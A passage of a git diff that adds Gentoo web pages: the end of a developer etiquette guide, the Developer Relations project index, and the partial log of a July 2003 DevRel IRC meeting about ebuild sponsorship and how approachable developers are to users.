+    does its job or it doesn't. It is much better to inform users
+    to test your package thoroughly and to report any bugs to you.
+  </li>
+  <li>
+    When referring to ebuild sections such as the homepage variable,
+    use "HOMEPAGE" remembering to add the quotes and to use the
+    correct case. This makes things a bit more precise, namely
+    telling the reader that you changed the variable; rather than
+    the homepage your package might go to when it starts up, for
+    example.
+  </li>
+  <li>
+    When using acronyms, please use the proper cases. For example,
+    "ALSA", not "alsa", "Win4Lin" not "win4lin".
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Ebuilds</title>
+<body>
+
+<ul>
+  <li>
+    Try to not bump ebuilds continuously unless there really <b>is</b> a
+    benefit or a security fix which is important. Unnecessary examples
+    of bumping include:
+    <ul>
+      <li>
+        You change minor spelling errors in script file comments, script file
+        indentation or something similar.
+      </li>
+      <li>
+        You patch a non-kernel ebuild to support a new kernel version (or
+        a new version of a library), allowing more users to install your ebuild,
+        but not changing anything for existing users of the current revision.
+      </li>
+    </ul>
+    As a general rule, fixes with non-trivial changes to any of the installed
+    files of any ebuild warrant a revision bump. Put differently: If your fix
+    changes the behaviour for existing users, you bump so that they know they
+    can upgrade. See ebuild policy for more details.
+  </li>
+  <li>
+    Respect developers' coding preferences. Unnecessarily changing
+    the syntax of an ebuild increases the load on the CVS server and
+    can cause complications for others. Syntax changes should only be
+    done if there is a real benefit, such as faster compilation,
+    improved information for the end user, or compliance to Gentoo
+    policies.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>IRC</title>
+<body>
+
+<ul>
+  <li>
+    Be nice and respectful of everybody - even if they are
+    bombarding you with messages.
+  </li>
+  <li>
+    Do not abuse or discriminate users or developers - whether as a joke or as
+    sarcasm.
+  </li>
+  <li>
+    Answer any questions to the best of your knowledge - it is best
+    that you do not answer what you don't know to avoid
+    confusion. There is no policy on any collateral damage caused
+    by developers to users however: if the developer did any contact
+    such as SSHing into a users' box, the developer would be held
+    accountable for any issues arising out of the same. As a result, we don't
+    really recommend it.
+  </li>
+  <li>
+    If you are a developer with operator powers, you must <b>not</b>
+    abuse them - if you have a disagreement with a user resolve the
+    issue peacefully and do not resort to kicking them or even
+    kickbanning them unless the situation is really severe and other
+    developers approve of critical measures.
+  </li>
+  <li>
+    #gentoo and #gentoo-dev are clean-language channels; other
+    #gentoo- channels have policies set by their respective channel
+    owners. Because the majority of traffic on #gentoo-dev is from
+    Gentoo developers, people perceive this channel as officially
+    representing Gentoo. In order for us to present Gentoo in a
+    professional manner, we request that developers keep #gentoo-dev a
+    'clean-language' channel.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Forums</title>
+<body>
+
+<ul>
+  <li>
+    Be nice and respectful of everybody - even if they are asking
+    the most unimaginable questions. Either voice your opinion
+    courteously, or voice no opinion.
+  </li>
+  <li>
+    Follow the forum rules and try keeping to the discussion rather
+    than veering off course.
+  </li>
+  <li>
+    Try to be active in development. If users are asking why
+    something was added, please explain it. If users are asking why
+    something is missing, explain that. Use your knowledge and help
+    out if you can. At the same time, if you don't know, don't confuse
+    people.
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Mail</title>
+<body>
+
+<ul>
+  <li>
+    Be nice and respectful of everybody. Don't respond to personal attacks with
+    more attacks. Either voice your opinion courteously, or voice no opinion.
+  </li>
+  <li>
+    Don't use HTML mail - it can cause annoyances - and it is
+    recommended that you use a word-wrapping mail client if sending
+    out plain text messages. Some people also block HTML mail which
+    may cause correspondence problems.
+  </li>
+  <li>
+    When replying to user or developer mail, be both courteous and
+    don't simply refer the user along to another developer - try to
+    explain why things are as they are if you can. An example of
+    good, well thought reply goes along the lines of: "I am
+    referring you to <c>&lt;insert name here&gt;</c>
+    as <c>&lt;person&gt;</c> is now the maintainer of the
+    package. Any further issues should be addressed
+    to <c>&lt;person&gt;</c>. Sorry for any inconvenience."
+  </li>
+</ul>
+
+</body>
+</subsection>
+
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/en/devrel/index.xml b/xml/htdocs/proj/en/devrel/index.xml
new file mode 100644
index 00000000..2dbc3421
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/index.xml
@@ -0,0 +1,65 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>devrel</name>
+<longname>Gentoo Developer Relations</longname>
+<description>
+The developer relations Project is an effort to recruit, train,
+and manage developers for Gentoo's development structure.
+</description>
+
+<longdescription>
+<p>
+Developer relations handles many personnel-related tasks, such as adding and
+removing developers, solving conflicts, and providing a contact point for
+prospective and current developers.
+</p>
+</longdescription>
+
+<goals>
+<p>
+The stated goal for developer relations is to act as a meeting point for Gentoo
+developers and advanced users both.  As such, developer relations is concerned
+with both intra-developer relations as well as forming relations with advanced
+users and prospective developers.
+</p>
+</goals>
+
+
+<subproject ref="/proj/en/devrel/roll-call/index.xml" />
+<subproject ref="/proj/en/devrel/recruiters/index.xml" inheritmembers="yes"/>
+<subproject ref="/proj/en/devrel/undertakers/index.xml" inheritmembers="yes"/>
+<extraproject name="Documentation" link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">
+<uri
+link="http://www.gentoo.org/proj/en/devrel/handbook/handbook.xml">Developer's
+handbook</uri> that provides developer documentation, guides, and policies for
+development.
+</extraproject>
+<extraproject name="Policy" link="http://www.gentoo.org/proj/en/devrel/policy.xml">
+<uri link="http://www.gentoo.org/proj/en/devrel/policy.xml">Policy guide</uri>
+for conflict resolution and other developer relations issues.
+</extraproject>
+	
+<dev role="Member" description="Undertakers">jmbsvicetto</dev>
+<dev role="Subproject lead" description="Recruiters:ATs">hparker</dev>
+<dev role="Lead" description="Lead">betelgeuse</dev>
+
+<extrachapter position="bottom">
+<title>I Want to Participate</title>
+<section>
+<body>
+
+<p>
+To participate in the Gentoo Developer Relations project, please contact us via
+email (devrel@gentoo.org) or IRC (#gentoo-devrel on irc.freenode.net).
+Additionally the recruiters email address as listed in the above table can be
+contacted with the subject "Devrel Personnel".
+</p>
+
+</body>
+</section>
+</extrachapter>
+</project>
diff --git a/xml/htdocs/proj/en/devrel/meetings/devrel-07232003.xml b/xml/htdocs/proj/en/devrel/meetings/devrel-07232003.xml
new file mode 100644
index 00000000..c0c7dcba
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/meetings/devrel-07232003.xml
@@ -0,0 +1,495 @@
+<?xml version="1.0" encoding="iso-8859-1"?>
+
+
+<mainpage id="devrel-07232003">
+<date>23 July 2003</date>
+<title>DevRel Meeting</title>
+<chapter>
+<title>DevRel Meeting - 23 July 2003</title>
+<section>
+<body>
+
+Jul 23 19:06:10 &lt;seemant&gt;	ok, let's get started
+<br/>Jul 23 19:06:16 &lt;seemant&gt;	hi grant, just in time
+<br/>Jul 23 19:06:37 &lt;seemant&gt;	I'd like to just kick off with having spyderous introduce his ideas to us about user relations
+<br/>Jul 23 19:06:41 &lt;seemant&gt;	spyderous: here?
+<br/>Jul 23 19:07:26 &lt;seemant&gt;	just to quickly pre-cap: intro spyderous, intro stuart and his proposal (related to glep # 3 btw)
+<br/>Jul 23 19:07:53 &lt;seemant&gt;	then we'd like to move Conflict Res. to an active subproject
+<br/>Jul 23 19:07:58 &lt;seemant&gt;	so we'll address that
+<br/>Jul 23 19:08:10 &lt;seemant&gt;	and an update from Brandy about User Rel side of things
+<br/>Jul 23 19:08:24 &lt;seemant&gt;	finally, GWN announcement for DevRel in order?
+<br/>Jul 23 19:08:54 &lt;seemant&gt;	(I'm lagging big time)
+<br/>Jul 23 19:09:28 &lt;seemant&gt;	erm, ok, let's skip ahead to Stuart
+<br/>Jul 23 19:09:30 &lt;spyderous&gt;	here
+<br/>Jul 23 19:09:36 &lt;seemant&gt;	haha
+<br/>Jul 23 19:09:39 &lt;seemant&gt;	spyderous: ok, you're up
+<br/>Jul 23 19:09:40 &lt;spyderous&gt;	skip
+<br/>Jul 23 19:09:59 &lt;spyderous&gt;	i'll go after stuart
+<br/>Jul 23 19:10:05 &lt;seemant&gt;	Stuart: then you
+<br/>Jul 23 19:10:14 &lt;Stuart&gt;	k
+<br/>Jul 23 19:10:21 &lt;Stuart&gt;	seemant: 
+<br/>Jul 23 19:10:25 &lt;Stuart&gt;	bah
+<br/>Jul 23 19:10:46 &lt;Stuart&gt;	I've put together a proposal for how I personally see my role as a Gentoo Developer
+<br/>Jul 23 19:11:04 &lt;Stuart&gt;	seemant's already circulated the URL, so I won't repeat it here
+<br/>Jul 23 19:11:37 &lt;avenj&gt;	a non-pdf version of that would be sexy, btw - dunno if anyone's done that yet
+<br/>Jul 23 19:11:47 &lt;avenj&gt;	actually, a guidexml version on devrel would probably be best
+<br/>Jul 23 19:12:08 &lt;Stuart&gt;	guidexml takes too long to write
+<br/>Jul 23 19:12:34 &lt;Stuart&gt;	and is a pain to edit ;-)
+<br/>Jul 23 19:12:44 &lt;avenj&gt;	i can guidexmlify it at some point, just not exactly soon
+<br/>Jul 23 19:12:58 &lt;Stuart&gt;	I'll look into writing a guidexml export filter for OO 1.1, now that I have that installed and working - that ok as a compromise?
+<br/>Jul 23 19:13:21 &lt;avenj&gt;	whatever works
+<br/>Jul 23 19:13:34 &lt;Stuart&gt;	grin - PDF works for most of the world ;-)
+<br/>Jul 23 19:13:41 &lt;seemant&gt;	from the people who've read it -- I know spyderous has commented
+<br/>Jul 23 19:13:54 &lt;seemant&gt;	Brandy: your comments from User Rel point of view?
+<br/>Jul 23 19:14:23 &lt;Brandy&gt;	The users would *love* the ability to have their ebuilds sponsored
+<br/>Jul 23 19:14:53 &lt;Brandy&gt;	One thing to keep in mind is what we do if/when Gentoo decides to maintain the package itself
+<br/>Jul 23 19:15:08 &lt;Brandy&gt;	i.e. where does the user stand?
+<br/>Jul 23 19:15:21 &lt;Stuart&gt;	mmm
+<br/>Jul 23 19:15:40 &lt;Stuart&gt;	I don't see sponsorship as Gentoo giving up responsibility for the ebuild
+<br/>Jul 23 19:16:12 &lt;Stuart&gt;	a sizable proportion of sponsored ebuilds will still need editing by devs before they're fit to commit
+<br/>Jul 23 19:16:52 &lt;seemant&gt;	Stuart: I wonder if you have seen liquidx's ebuild writing/submitting doc?
+<br/>Jul 23 19:16:52 &lt;spyderous&gt;	qa testing, if nothing else &lt;/interrupt&gt;
+<br/>Jul 23 19:17:06 &lt;Stuart&gt;	seement: the one on www.gentoo.org?
+<br/>Jul 23 19:17:22 &lt;seemant&gt;	http://peregrine.gentoo.org/~liquidx/ebuildmistakes.html
+<br/>Jul 23 19:17:51 &lt;Stuart&gt;	seement: looking now
+<br/>Jul 23 19:18:18 &lt;seemant&gt;	that's more implementation detail oriented
+<br/>Jul 23 19:18:31 &lt;Stuart&gt;	seemant: agreed
+<br/>Jul 23 19:18:54 &lt;seemant&gt;	but it has some good info to minimise the dev-editing part of a submitted ebuild
+<br/>Jul 23 19:19:30 &lt;Stuart&gt;	I think it's important that the Gentoo Developers who sponsor users' ebuilds are still ultimately the ones responsible for the ebuilds
+<br/>Jul 23 19:20:11 &lt;seemant&gt;	the thing I would like to get a feel for is whether you all think we can use/adapt/adopt Stuart's guidelines into devrel's handbook project and/or propose to expand the developer policy
+<br/>Jul 23 19:20:21 &lt;seemant&gt;	Stuart: 100% agreed
+<br/>Jul 23 19:20:48 &lt;spyderous&gt;	i feel like much of it could serve as guidelines rather than policy
+<br/>Jul 23 19:20:56 &lt;avenj&gt;	i agree with spyderous wrt guidelines rather than policy
+<br/>Jul 23 19:21:25 &lt;seemant&gt;	Brandy: g2boojum: klieber: ?
+<br/>Jul 23 19:21:44 &lt;klieber&gt;	I don't do enough ebuild development stuff to really offer a good opinion
+<br/>Jul 23 19:22:03 *	klieber has committed....~6 ebuilds in his entire career :)
+<br/>Jul 23 19:22:04 &lt;Brandy&gt;	I think guidelines too since the proposal outlines the dev him/herself having the final say on sponsoring any ebuild
+<br/>Jul 23 19:22:11 &lt;avenj&gt;	klieber's lying - he's told me he secretly has a desire to maintain kde and openoffice
+<br/>Jul 23 19:22:18 &lt;Stuart&gt;	any particular reason why guidelines rather than policy?
+<br/>Jul 23 19:22:22 &lt;seemant&gt;	klieber: well, Stuart's doc is more of a way to define the relationship between an ebuild, a gentoo developer, and a user-dev
+<br/>Jul 23 19:22:36 &lt;avenj&gt;	Stuart: because it should be up to each developer how they want to handle new ebuilds
+<br/>Jul 23 19:22:46 &lt;g2boojum&gt;	I'd say it's a good set of guidelines.  I think more devs need to &quot;buy-in&quot; before it could be policy.
+<br/>Jul 23 19:22:53 &lt;avenj&gt;	Stuart: and potentially on a per-ebuild case-by-case basis, too
+<br/>Jul 23 19:23:32 &lt;klieber&gt;	Stuart: one area that I don't think should be policy is the &quot;requirement&quot; that notifications be sent out for updates and security fixes.
+<br/>Jul 23 19:23:34 &lt;Stuart&gt;	avenj: that's fair enough, but if Gentoo wants to tackle QA, at some point something like this'll have to become policy
+<br/>Jul 23 19:23:58 &lt;avenj&gt;	Stuart: why? what if i want to suck up a user-submitted ebuild and do everything with it myself without user involvement on that ebuild?
+<br/>Jul 23 19:24:07 &lt;Stuart&gt;	just to be clear - I never intended this to become policy
+<br/>Jul 23 19:24:42 &lt;avenj&gt;	(that is, past the original ebuild)
+<br/>Jul 23 19:24:54 &lt;Stuart&gt;	avenj: that's not what my doc is about
+<br/>Jul 23 19:25:10 &lt;spyderous&gt;	that's what _part_ of it is about. 
+<br/>Jul 23 19:25:13 &lt;Stuart&gt;	avenj: with the doc, I'm trying to standardise the way *I* work on ebuilds
+<br/>Jul 23 19:25:18 &lt;avenj&gt;	Stuart: right - hence guidelines
+<br/>Jul 23 19:25:19 &lt;avenj&gt;	rather than policy
+<br/>Jul 23 19:25:27 &lt;spyderous&gt;	the relationship between user and developer could be guidelines ; the qa (in some form) could be policy
+<br/>Jul 23 19:26:16 &lt;seemant&gt;	ya I mean I think the acceptance tests and the incidence tests would make for good qa policy
+<br/>Jul 23 19:26:47 &lt;Stuart&gt;	argh - I can't type fast enough ;-)
+<br/>Jul 23 19:27:18 &lt;spyderous&gt;	well, it is 6 against 1.
+<br/>Jul 23 19:27:28 &lt;Stuart&gt;	grin - 6 against 0 you mean ;-)
+<br/>Jul 23 19:28:39 &lt;Stuart&gt;	I'm not here to argue the case for making anything in the doc into official policy
+<br/>Jul 23 19:28:39 &lt;seemant&gt;	I don't think it's that
+<br/>Jul 23 19:28:39 &lt;seemant&gt;	I think people generally like your doc
+<br/>Jul 23 19:29:03 &lt;seemant&gt;	avenj: we'll talk later more on the handbook, yeah?
+<br/>Jul 23 19:29:06 &lt;avenj&gt;	seemant: yeah
+<br/>Jul 23 19:29:19 &lt;avenj&gt;	those docs i promised may be delayed some - releng is sucking up time
+<br/>Jul 23 19:29:23 &lt;seemant&gt;	so, moving along then -- spyderous, who are you and what are your ideas about user rel?
+<br/>Jul 23 19:29:30 &lt;seemant&gt;	avenj: understandably -- it's not a problem :)
+<br/>Jul 23 19:29:53 &lt;spyderous&gt;	Hi everyone. My name's Donnie.
+<br/>Jul 23 19:30:22 *	g2boojum waits for the chorus of &quot;Hi, Donnie&quot;.
+<br/>Jul 23 19:30:36 &lt;spyderous&gt;	AA or devrel..hmm.
+<br/>Jul 23 19:30:54 &lt;spyderous&gt;	i've noticed we have devrel things in place to deal with developer-to-advanced-user relations
+<br/>Jul 23 19:31:06 &lt;spyderous&gt;	but not with what IMO is the majority of our user base
+<br/>Jul 23 19:31:33 &lt;spyderous&gt;	we need to have more outreach efforts to the beginning-to-mid-level users
+<br/>Jul 23 19:31:45 &lt;spyderous&gt;	making developers more accessible is one step
+<br/>Jul 23 19:32:40 &lt;spyderous&gt;	this is a bad metaphor, but now we're more like distant gods than parents
+<br/>Jul 23 19:33:10 &lt;spyderous&gt;	don't get me wrong, some of us are very approachable and willing to spend time working with users
+<br/>Jul 23 19:33:18 &lt;spyderous&gt;	but that should be the goal for all of us
+<br/>Jul 23 19:33:50 &lt;avenj&gt;	just to play devil's advocate for a minute - what's the tangible benefit of spending time working with not-very-advanced users?
+<br/>Jul 23 19:33:50 &lt;klieber&gt;	spyderous: understanding that I got my start with gentoo by helping users, why should it be the goal for all of us?
+<br/>Jul 23 19:33:51 &lt;spyderous&gt;	i believe brandy's working on a faq for linux beginners
+<br/>Jul 23 19:33:56 &lt;avenj&gt;	right, what klieber said
+<br/>Jul 23 19:34:08 &lt;spyderous&gt;	the goal is that gentoo is a community
+<br/>Jul 23 19:34:16 &lt;spyderous&gt;	and it should act like one
+<br/>Jul 23 19:34:30 &lt;avenj&gt;	but what if a developer doesn't have time to spend working with users because they're developing?
+<br/>Jul 23 19:34:31 &lt;klieber&gt;	spyderous: not sure I follow your logic.
+<br/>Jul 23 19:34:40 &lt;avenj&gt;	the community isn't going to go anywhere because i don't help Joe User
+<br/>Jul 23 19:34:52 &lt;avenj&gt;	there's still 25,000 registered users on the forums, ~600 people at any one time in #gentoo, tec
+<br/>Jul 23 19:34:52 &lt;avenj&gt;	er
+<br/>Jul 23 19:34:53 &lt;avenj&gt;	etc
+<br/>Jul 23 19:34:59 &lt;avenj&gt;	all of whom help each other out
+<br/>Jul 23 19:35:08 &lt;klieber&gt;	I'm not saying we should all live in a white tower, but by the same token, we have some very anti-social developers who still provide an incredibly positive net contribution to gentoo
+<br/>Jul 23 19:35:16 &lt;avenj&gt;	right
+<br/>Jul 23 19:35:23 &lt;Stuart&gt;	agreed
+<br/>Jul 23 19:35:29 &lt;spyderous&gt;	purposely avoiding users is not what we want to do
+<br/>Jul 23 19:35:30 &lt;avenj&gt;	i think that developers interacting heavily with users should be an optional thing, something to do if you enjoy it
+<br/>Jul 23 19:35:35 &lt;spyderous&gt;	maybe they don't actively go out and help users all the time
+<br/>Jul 23 19:35:36 &lt;klieber&gt;	spyderous: again, why?
+<br/>Jul 23 19:35:40 &lt;spyderous&gt;	but they should at least be approachable
+<br/>Jul 23 19:35:51 &lt;Brandy&gt;	We can always let User-Relations act as the conduit for users of all levels, thus insulating devs from the inane newbie questions
+<br/>Jul 23 19:36:16 &lt;klieber&gt;	I agree that this is a community and all communities have different types of folks.
+<br/>Jul 23 19:36:26 &lt;klieber&gt;	some folks are very quiet introverts, some are extroverts.
+<br/>Jul 23 19:36:45 &lt;avenj&gt;	i guess you need to define 'approachable'
+<br/>Jul 23 19:36:56 &lt;klieber&gt;	yes, that would help
+<br/>Jul 23 19:37:03 &lt;spyderous&gt;	approachable meaning there's an obvious way to contact them
+<br/>Jul 23 19:37:07 &lt;g2boojum&gt;	spyderous: Not to be too stupid about this, but define &quot;approachable&quot;.  Azarah, for instance, generally reponds to his bug reports and sometimes his e-mails, but he's perennially swamped.  I don't know that I really want him to be _more_ approachable.
+<br/>Jul 23 19:37:09 &lt;spyderous&gt;	and it's posted publicly and easy to find
+<br/>Jul 23 19:37:13 &lt;spyderous&gt;	associated with their expertise
+<br/>Jul 23 19:37:22 &lt;avenj&gt;	sounds like the devlist to me
+<br/>Jul 23 19:37:28 &lt;klieber&gt;	spyderous: I like Brandy's idea, personally
+<br/>Jul 23 19:38:00 &lt;spyderous&gt;	i suppose scaling up the size of user relations is always a possibility
+<br/>Jul 23 19:38:15 &lt;spyderous&gt;	brandy by herself would probably having a little trouble dealing with every question that would go to every developer
+<br/>Jul 23 19:38:25 &lt;klieber&gt;	indeed
+<br/>Jul 23 19:38:42 &lt;avenj&gt;	i guess i don't really know what the purpose of approachable devs is
+<br/>Jul 23 19:38:45 &lt;avenj&gt;	that is, what you feel the purpose is
+<br/>Jul 23 19:38:47 &lt;klieber&gt;	but by the same token, danarmak would be buried if he had to respond to all KDE-related queries.
+<br/>Jul 23 19:38:57 &lt;avenj&gt;	we have bugzilla for bug reports, for example
+<br/>Jul 23 19:39:01 &lt;avenj&gt;	and feature requests
+<br/>Jul 23 19:39:13 &lt;spyderous&gt;	if joe user has a question bob user can't answer, i think he should be able to contact &quot;the gentoo expert&quot; on it
+<br/>Jul 23 19:39:14 &lt;avenj&gt;	we have gentoo-dev@gentoo.org for discussion about ebuild development
+<br/>Jul 23 19:39:19 &lt;avenj&gt;	spyderous: why?
+<br/>Jul 23 19:39:23 &lt;avenj&gt;	that is, why do we need to be tech support?
+<br/>Jul 23 19:39:47 &lt;avenj&gt;	frankly, i'll do tech support for people in #gentoo or on the forums when i'm up for it, but i don't feel _obligated_ to do it and i don't think i _should_ feel obligated to do it
+<br/>Jul 23 19:40:36 &lt;spyderous&gt;	there's a difference between obligation and encouragement
+<br/>Jul 23 19:40:41 &lt;spyderous&gt;	just like between guidelines and policy
+<br/>Jul 23 19:41:04 &lt;klieber&gt;	spyderous: personally, I want to encourage all gentoo developers to do a) what they're good at and b) what makes them happy.
+<br/>Jul 23 19:41:12 &lt;spyderous&gt;	i'd imagine some of us would be more than willing to answer questions we got, if we actually got them
+<br/>Jul 23 19:41:16 &lt;Stuart&gt;	I think one thing that's important is that the devs don't lose touch with our userbase
+<br/>Jul 23 19:41:22 &lt;spyderous&gt;	but since people can't figure out who to ask or how to ask them, they don't get asked
+<br/>Jul 23 19:41:35 &lt;spyderous&gt;	Stuart's summed up the whole thing.
+<br/>Jul 23 19:41:44 &lt;avenj&gt;	Stuart: yeah, but my question is: how far does that extend?
+<br/>Jul 23 19:41:44 &lt;klieber&gt;	ok, but isn't that our job?
+<br/>Jul 23 19:41:59 &lt;Stuart&gt;	if the gentoo devs become mainly an inward-looking group, it'll eventually disappear up its own back passage
+<br/>Jul 23 19:41:59 &lt;avenj&gt;	Stuart: i mean, not losing touch with the userbase is obviously very important
+<br/>Jul 23 19:42:05 &lt;avenj&gt;	but does that extend to being everyone's personal tech support?
+<br/>Jul 23 19:42:13 &lt;Stuart&gt;	avenj: no it doesn't
+<br/>Jul 23 19:42:15 &lt;avenj&gt;	okay
+<br/>Jul 23 19:42:31 &lt;spyderous&gt;	it wouldn't be difficult to set up a tree of &quot;gentoo help&quot;, since there's an informal one already
+<br/>Jul 23 19:42:34 &lt;spyderous&gt;	with devs at the top
+<br/>Jul 23 19:42:42 &lt;Stuart&gt;	but how many of our devs have any idea about how the packages they write ebuilds for are actually used out there?
+<br/>Jul 23 19:43:12 &lt;seemant&gt;	well look, there are attitudes among devs that do need to be addressed
+<br/>Jul 23 19:43:26 &lt;seemant&gt;	bug 24933 sticks out
+<br/>Jul 23 19:43:30 &lt;Stuart&gt;	and how many of them care? ;-) a lot I think
+<br/>Jul 23 19:43:39 &lt;seemant&gt;	that's devs being *completely* out of touch with users
+<br/>Jul 23 19:43:41 &lt;avenj&gt;	definitely
+<br/>Jul 23 19:44:10 &lt;g2boojum&gt;	Stuart: That's true.  At the same time, though, it is literally impossible to keep up w/ #gentoo, #gentoo-dev, the forums, and the -user, -dev, and -core mailing lists.
+<br/>Jul 23 19:44:38 &lt;spyderous&gt;	keep up with what you can.
+<br/>Jul 23 19:44:43 &lt;spyderous&gt;	it's that easy. =)
+<br/>Jul 23 19:44:54 &lt;klieber&gt;	spyderous: I think people already do that.
+<br/>Jul 23 19:45:21 &lt;Stuart&gt;	I agree it's impossible to keep up.  I don't read the forums myself, for example - I just don't have the time
+<br/>Jul 23 19:45:31 &lt;avenj&gt;	some devs just need a serious attitude adjustment - i guess i don't see how that necessarily fits with this
+<br/>Jul 23 19:45:42 &lt;avenj&gt;	but i don't have a clear picture of what &quot;this&quot; is either, so i could be totally off
+<br/>Jul 23 19:45:48 &lt;spyderous&gt;	you don't see how better attitudes fit in with getting along with users?
+<br/>Jul 23 19:46:08 &lt;Stuart&gt;	lol
+<br/>Jul 23 19:46:12 &lt;klieber&gt;	getting along != being more approachable, imo
+<br/>Jul 23 19:46:20 &lt;avenj&gt;	klieber: right
+<br/>Jul 23 19:46:33 &lt;klieber&gt;	we're talking about a number of different issues here, it seems.
+<br/>Jul 23 19:46:34 &lt;spyderous&gt;	but to be approachable, you need to get along
+<br/>Jul 23 19:47:15 &lt;klieber&gt;	spyderous: I doubt that anyone here disagrees that we need to get along with our user base and be respectful of them in our interactions with them.
+<br/>Jul 23 19:47:20 --&gt;	tberman (~tberman@dsl-207-112-41-32.tor.primus.ca) has joined #gentoo-devrel
+<br/>Jul 23 19:47:22 &lt;spyderous&gt;	so 1) improved attitudes, 2) improved approachability, especially about development issues 3) simply ask devs who can to help out more 4) inform users what resources are available
+<br/>Jul 23 19:47:39 &lt;klieber&gt;	spyderous: can you please define #2 better?
+<br/>Jul 23 19:47:39 &lt;Stuart&gt;	I'd go with 1) and 4)
+<br/>Jul 23 19:47:53 &lt;spyderous&gt;	klieber: it's already in progress, with herds, metadata, etc.   
+<br/>Jul 23 19:48:08 &lt;tberman&gt;	spyderous: improved attitudes means what exactly (srry, im so late, slow subway)
+<br/>Jul 23 19:48:17 &lt;spyderous&gt;	if i have a question about &lt;random package&gt; and why its ebuild does this or that, i don't know who to ask
+<br/>Jul 23 19:48:17 &lt;klieber&gt;	spyderous: if the net result of #2 is expecting all devs to perform direct end-user support, then I think we should discuss that further.
+<br/>Jul 23 19:48:22 &lt;avenj&gt;	tberman: that some devs have a nasty attitude for the sake of having a nasty attitude
+<br/>Jul 23 19:48:32 &lt;tberman&gt;	avenj: who?
+<br/>Jul 23 19:48:33 &lt;avenj&gt;	tberman: and despite slaps on the wrist, don't get the idea
+<br/>Jul 23 19:48:35 &lt;klieber&gt;	spyderous: you post a question on the forums, -user or -dev.
+<br/>Jul 23 19:48:38 &lt;tberman&gt;	avenj: i havnt noticed that really
+<br/>Jul 23 19:48:45 &lt;avenj&gt;	tberman: i sure have
+<br/>Jul 23 19:48:47 &lt;tberman&gt;	well, with one dev i have, but other than that
+<br/>Jul 23 19:49:34 &lt;tberman&gt;	spyderous: i would say #1 and #2 as the same
+<br/>Jul 23 19:49:51 &lt;klieber&gt;	tberman: we were just saying they're different. :)
+<br/>Jul 23 19:49:51 &lt;g2boojum&gt;	I'm happy w/ 1 and 4.  I think 3 already happens.  I think having particular devs handling 2 would probably be better than trying to get everybody to do so.  We could certainly use a few devs whose duties are really just to keep up w/ user issues.
+<br/>Jul 23 19:50:12 *	g2boojum points to Brandy 
+<br/>Jul 23 19:50:18 &lt;Brandy&gt;	hehe
+<br/>Jul 23 19:50:29 &lt;tberman&gt;	haha, they dont seem to be to me, but i missed the previous stuff, so ill admit my own ignorance
+<br/>Jul 23 19:50:46 &lt;klieber&gt;	honestly, I thought one of the primary goals of this project was to provide a better end user experience *without* bogging the dev team down with end user support
+<br/>Jul 23 19:51:54 &lt;Stuart&gt;	klieber: to provide a better end-user experience, we need to know what's wrong with the current experience ;-)
+<br/>Jul 23 19:52:09 &lt;klieber&gt;	Stuart: agreed -- I thought that's what we were here to do.
+<br/>Jul 23 19:52:17 &lt;klieber&gt;	collect data and report a distilled version back to the dev team
+<br/>Jul 23 19:52:18 &lt;Stuart&gt;	k
+<br/>Jul 23 19:52:33 &lt;klieber&gt;	rather than try to strong-arm folks into doing something that they a) might not want to or b) might be ill-equipped to.
+<br/>Jul 23 19:52:45 &lt;Stuart&gt;	agreed on both counts
+<br/>Jul 23 19:52:51 &lt;spyderous&gt;	i'd be interested to hear your opinions on seemant's idea about opening #gentoo-dev.
+<br/>Jul 23 19:52:57 &lt;spyderous&gt;	(occasionally)
+<br/>Jul 23 19:53:16 &lt;spyderous&gt;	it seems to me that mirrors what i'm saying
+<br/>Jul 23 19:53:23 &lt;klieber&gt;	Personally, I think it's a great idea on occasion. 
+<br/>Jul 23 19:53:29 &lt;klieber&gt;	because we don't force anyone to participate in that
+<br/>Jul 23 19:53:39 &lt;Brandy&gt;	seems to work really well on the weekends
+<br/>Jul 23 19:53:40 *	g2boojum agrees w/ klieber 
+<br/>Jul 23 19:53:52 &lt;Stuart&gt;	why isn't it open atm?
+<br/>Jul 23 19:53:54 &lt;avenj&gt;	a regular scheduled 'open #-dev' day would be good
+<br/>Jul 23 19:53:59 &lt;avenj&gt;	Stuart: looked at #gentoo lately?
+<br/>Jul 23 19:54:02 *	klieber points to #gentoo as the reason why -dev is locked
+<br/>Jul 23 19:54:03 &lt;avenj&gt;	right
+<br/>Jul 23 19:54:08 &lt;Stuart&gt;	lol
+<br/>Jul 23 19:54:25 &lt;klieber&gt;	but I think opening it weekly is fine.
+<br/>Jul 23 19:54:27 &lt;Stuart&gt;	so, how is opening #gentoo-dev gonna prevent the same thing from happening?
+<br/>Jul 23 19:54:29 &lt;klieber&gt;	gives users a chance to interact, etc.
+<br/>Jul 23 19:54:41 &lt;klieber&gt;	Stuart: because it's an occasional thing (as I understand it)
+<br/>Jul 23 19:54:44 &lt;g2boojum&gt;	Stuart: It's only for a limited period of time.
+<br/>Jul 23 19:54:53 &lt;Stuart&gt;	fair enough
+<br/>Jul 23 19:55:08 &lt;tberman&gt;	um, how is that different
+<br/>Jul 23 19:55:11 &lt;tberman&gt;	i +v anyone who asks
+<br/>Jul 23 19:55:22 &lt;tberman&gt;	and i +v people i see in #gentoo helping who seem to have ideas
+<br/>Jul 23 19:55:40 &lt;tberman&gt;	its basically open now, just a bit a chat-sanity prevention
+<br/>Jul 23 19:55:49 &lt;avenj&gt;	i'm more selective about voice
+<br/>Jul 23 19:55:58 &lt;spyderous&gt;	a lot of people request a reason for it
+<br/>Jul 23 19:56:01 &lt;avenj&gt;	too many people have showed up, asked for voice, and had something that belongs in #gentoo
+<br/>Jul 23 19:56:01 &lt;avenj&gt;	right
+<br/>Jul 23 19:56:07 &lt;tberman&gt;	and to prevent it from being basically 'oh, ebuild y is broken, im going into -dev and asking why why why
+<br/>Jul 23 19:56:25 &lt;avenj&gt;	typically people try to use it as their own personal bugzilla or tech support channel
